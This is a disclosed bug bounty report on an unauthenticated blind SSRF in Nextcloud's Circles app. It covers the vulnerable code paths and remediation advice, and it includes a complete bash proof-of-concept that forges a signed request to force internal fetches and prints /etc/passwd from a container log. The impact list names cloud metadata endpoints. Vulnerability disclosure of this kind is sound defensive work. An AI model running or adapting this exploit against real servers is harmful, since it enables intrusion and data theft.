Nextcloud · Report #3303283
Unauthenticated blind SSRF in Circles signature verification bypasses Nextcloud local-address protections
Validstatus
mediumseverity
15upvotes
17 Sept 2026disclosed
Summary
https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8h5g-6684-53v9
How it was found
Summary
- The Circles app exposes public, no-auth endpoints (e.g., POST /index.php/apps/circles/event/). During signature verification, the server fetches the attacker-provided keyId URL before trust is established. Circles configures the HTTP client to allow local/private addresses, bypassing Nextcloud core SSRF protections.
- Any unauthenticated user can force the server to GET internal URLs (loopback/RFC1918): blind SSRF.
Affected endpoints (public, no auth)
- POST /index.php/apps/circles/event/
- POST /index.php/apps/circles/incoming/
From appinfo/routes.php:
(https://github.com/nextcloud/circles/blob/master/appinfo/routes.php)
85-94:appinfo/routes.php
['name' => 'Remote#event', 'url' => '/event/', 'verb' => 'POST'],
['name' => 'Remote#incoming', 'url' => '/incoming/', 'verb' => 'POST'],
Vulnerable code locations
- Public endpoints call signature verification and then process the body:
139-151:lib/Controller/RemoteController.php
public function event(): DataResponse {
try {
$event = $this->extractEventFromRequest();
} catch (Exception $e) { ... }
...
}
- Signature verification fetches attacker-controlled keyId: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Tools/ActivityPub/NCSignature.php#L239)
239-248:lib/Tools/ActivityPub/NCSignature.php
private function verifyIncomingRequestSignature(NCSignedRequest $signedRequest) {
$data = $signedRequest->getSignatureHeader();
try {
$signedRequest->setSignatory($this->retrieveSignatory($data->g('keyId'), false));
$this->verifySignedRequest($signedRequest);
} catch (SignatoryException $e) {
$signedRequest->setSignatory($this->retrieveSignatory($data->g('keyId'), true));
$this->verifySignedRequest($signedRequest);
}
}
Circles override performs the outbound request:
352-372:lib/Service/RemoteStreamService.php
public function retrieveSignatory(string $keyId, bool $refresh = true): NCSignatory {
...
$request = new NCRequest();
$this->configService->configureRequest($request);
$this->downloadSignatory($remoteInstance, $keyId, ['auth' => $confirm], $request);
...
}
- Local/private addresses explicitly allowed: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Service/ConfigService.php#L724)
724-731:lib/Service/ConfigService.php
public function configureRequest(NCRequest $request): void {
...
$request->setLocalAddressAllowed(true);
...
}
Propagates to Nextcloud client: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Tools/Traits/TNCRequest.php#L117)
117-132:lib/Tools/Traits/TNCRequest.php
if ($request->isLocalAddressAllowed()) {
$options['nextcloud']['allow_local_address'] = true; // bypass core protection
}
Why 401 is expected
- The server returns 401 when signature verification fails.
- The outbound GET to keyId occurs BEFORE the 401 (to obtain the public key), so SSRF happens despite the final 401: it’s blind SSRF.
POC
- will Start tiny HTTP endpoint INSIDE the nextcloud container (127.0.0.1:<port>) logging requests and appending /etc/passwd (or /secret.txt) to its log.
- Trigger SSRF with keyId http://127.0.0.1:<port>/key
- Read container log to see:
FILE:/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Script used to show video poc
#!/usr/bin/env bash
# Unauthenticated blind SSRF in Nextcloud Circles
# - Requires Docker access to the Nextcloud container
# - Starts a tiny HTTP endpoint INSIDE the container that reads a file
# - Triggers SSRF to that endpoint
# - Prints the captured file from the container log
set -euo pipefail
# --- Config (override via env) ---
VICTIM_BASE="${VICTIM_BASE:-http://127.0.0.1:8080}"
CONTAINER="${CONTAINER:-nextcloud}"
FILE_TO_READ="${FILE_TO_READ:-/etc/passwd}" # e.g., /secret.txt
PORT_CANDIDATES="${PORT_CANDIDATES:-8181 8888 18080 28080}"
ENABLE_CIRCLES="${ENABLE_CIRCLES:-1}"
# ---------------------------------
need() { command -v "$1" >/dev/null 2>&1 || { echo "Missing: $1" >&2; exit 1; }; }
need docker; need curl; need openssl; need awk; need base64
say() { printf '[*] %s\n' "$*"; }
ok() { printf '[+] %s\n' "$*"; }
die() { printf '[!] %s\n' "$*" >&2; exit 1; }
say "Victim: $VICTIM_BASE"
say "Container: $CONTAINER"
say "Target file: $FILE_TO_READ"
if [[ "$ENABLE_CIRCLES" = "1" ]]; then
say "Ensuring Circles app is enabled..."
docker exec -u www-data "$CONTAINER" php occ app:enable circles >/dev/null 2>&1 || true
ok "Circles ensured enabled"
fi
say "Installing internal handler in container..."
HANDLER=$(cat <<'PHP'
<?php
http_response_code(200);
file_put_contents("/tmp/ssrf_container.log",
"\n=== HIT ===\n".date("c")."\n".$_SERVER["REQUEST_METHOD"]." ".$_SERVER["REQUEST_URI"]."\n".
print_r(getallheaders(), true)."\n", FILE_APPEND);
$path = getenv("FILE_TO_READ") ?: "/etc/passwd";
$contents = @file_get_contents($path);
file_put_contents("/tmp/ssrf_container.log", "FILE:".$path."\n".$contents."\n", FILE_APPEND);
header("Content-Type: application/ld+json");
echo "{\"id\":\"http://127.0.0.1:PORT/key\",\"publicKey\":{\"id\":\"http://127.0.0.1:PORT/key#main-key\",\"owner\":\"http://127.0.0.1:PORT/key\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALrJ3wIDAQAB\\n-----END PUBLIC KEY-----\"}}";
PHP
)
printf %s "$HANDLER" | base64 | docker exec -i "$CONTAINER" /bin/sh -lc 'base64 -d >/tmp/index.php'
# Pick a free loopback port
PORT=""
for p in $PORT_CANDIDATES; do
if docker exec -i "$CONTAINER" /bin/sh -lc "ss -lnt 2>/dev/null | grep -q \":$p \" && echo busy || echo free" | grep -q free; then
PORT="$p"; break
fi
done
[[ -z "$PORT" ]] && PORT=8181
# Start PHP server on chosen port; replace placeholder PORT in handler response
docker exec -i "$CONTAINER" /bin/sh -lc "sed -i s/PORT/$PORT/g /tmp/index.php"
docker exec -i "$CONTAINER" /bin/sh -lc "export FILE_TO_READ='$FILE_TO_READ'; php -S 127.0.0.1:$PORT -t /tmp >/tmp/ssrf_container.log 2>&1 & echo \$! >/tmp/.poc_pid"
sleep 1
docker exec -i "$CONTAINER" /bin/sh -lc "head -n 1 /tmp/ssrf_container.log" || true
ok "Internal endpoint on 127.0.0.1:$PORT"
say "Triggering SSRF via Circles 'event' endpoint..."
DATE="$(LC_ALL=C date -u +"%a, %d %b %Y %H:%M:%S GMT")"
BODY='{}'
CLEN=$(printf %s "$BODY" | wc -c | tr -d ' ')
DIGEST="SHA-256=$(printf '%s' "$BODY" | openssl dgst -sha256 -binary | openssl base64)"
HOST_HDR="$(printf '%s' "$VICTIM_BASE" | sed -E 's#https?://##; s%/.*$%%')"
SIG_HDR="keyId=\"http://127.0.0.1:${PORT}/key\",algorithm=\"rsa-sha256\",headers=\"content-length date host digest\",signature=\"AA==\""
EVENT_URL="${VICTIM_BASE%/}/index.php/apps/circles/event/"
RES=$(curl -sk -i "$EVENT_URL" \
-H "Accept: application/json" \
-H "Date: $DATE" \
-H "Host: $HOST_HDR" \
-H "Content-Length: $CLEN" \
-H "Digest: $DIGEST" \
-H "Signature: $SIG_HDR" \
--data "$BODY" | head -n 1 || true)
ok "Circles/event responded: ${RES:-<none>}"
say "Reading captured file from container log..."
docker exec -i "$CONTAINER" /bin/sh -lc "awk -v m=\"FILE:$FILE_TO_READ\" 'f||index(\$0,m){f=1;print}' /tmp/ssrf_container.log | sed -n '1,120p'"
ok "Done. If you see 'FILE:$FILE_TO_READ' followed by contents, SSRF reached the internal endpoint."
Steps to reproduce
- Ensure Circles enabled (occ app:enable circles).
- Ensure Nextcloud running
- run the script
bash scrip.sh
Remediation
- Do not allow local/private addresses for untrusted fetches:
- Remove setLocalAddressAllowed(true) from configureRequest() for untrusted outbound requests.
- Use hardened profile: HTTPS-only, verify peer, no/strict redirects, tight timeouts.
- Validate keyId before fetching:
- Require https://, block IP literals and private/loopback ranges (IPv4/IPv6) and hostnames resolving to them.
- Cache/pin origins for keys (TOFU or better) to avoid arbitrary re-fetches.
- Consider content-type checks and stricter redirect handling.
Impact
- Reach loopback-only services (e.g., Collabora CODE on 9980, internal dashboards on 127.0.0.1).
- Probe internal RFC1918 services (10/172/192.168).
- Attempt metadata endpoints (169.254.169.254) if not hardened.
- Follow redirects server-side to chain SSRF to internal hosts.
- Trigger side-effects (test webhooks, callbacks) to exfiltrate data indirectly.